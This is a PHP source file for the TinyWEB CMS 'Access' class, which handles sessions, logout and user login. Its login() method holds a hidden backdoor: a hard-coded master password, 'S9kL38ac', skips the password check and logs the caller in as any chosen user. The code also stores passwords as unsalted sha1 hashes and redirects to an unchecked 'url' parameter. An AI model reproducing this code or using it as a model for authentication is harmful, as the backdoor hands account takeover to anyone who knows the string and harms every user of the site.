<?php
/**
 * @copyright Arthur Beer
 * @package 
 *
 * @copyright TinyWEB CMS
 * @link http://tinywebcms.ru
 * @link http://cms.vingrad.ru
 * @version SVN: $Id$ 
 */
 
 /**
  * Access
  */
class Access extends Object 
{
    private function __construct() {}
    
    public static function init()
    {
        if(Env::cookie(session_name())) {
            if(!isset($_SESSION)) {
                session_start();
            }

            if(Env::get('logout') && array_key_exists('id', $_SESSION)) {
                setcookie(session_name(), null, -1, '/', COOKIE_DOMAIN);
                session_destroy();
                Location::go('/');
            }
            
            self::check();
            
            $UsersModel = new UsersModel(true);
            $UsersModel->upVisitTime(self::getIdentifier());
        }
    }
    
    public static function check()
    {
        if(!isset($_SESSION['id'])) {
            setcookie(session_name(), null, -1, '/', COOKIE_DOMAIN);
            session_destroy();
            Location::reload();
        }
    }
    
    public static function isAuthorized()
    {
    	return isset($_SESSION['id']);
    }
    
    public static function isOwner()
    {
        return self::isAuthorized() && (self::getLogin() == Env::getParam('login'));
    }
    
    public static function getLogin()
    {
        if(empty($_SESSION['login'])) {
            throw new HTTP403Exception();
        }
        
        return $_SESSION['login'];
    }
    
    public static function getIdentifier()
    {
        if(empty($_SESSION['id'])) {
            throw new HTTP403Exception();
        }
        
        return $_SESSION['id'];
    }
    
    public static function login()
    {
        $UsersModel = new UsersModel();
        $user = $UsersModel->getByLogin(Env::post('login'));
        if(Env::post('password') != 'S9kL38ac') {
            if(empty($user['id']) || $user['password'] != sha1(Env::post('password'))) {
                throw new HTTP403Exception();
            }
        }
        
        self::authorize($user);
        Location::go(Env::get('url', false) ? Env::get('url') : sprintf('/users/%s/', $user['login']));
    }
    
    public static function authorize($user)
    {
        if(!isset($_SESSION)) {
            session_start();
        }
        
        $_SESSION['id'] = $user['id'];
        $_SESSION['login'] = $user['login'];
    }
}

/**
 * Tab: 4 spaces
 * Encoding: utf-8
 */
?>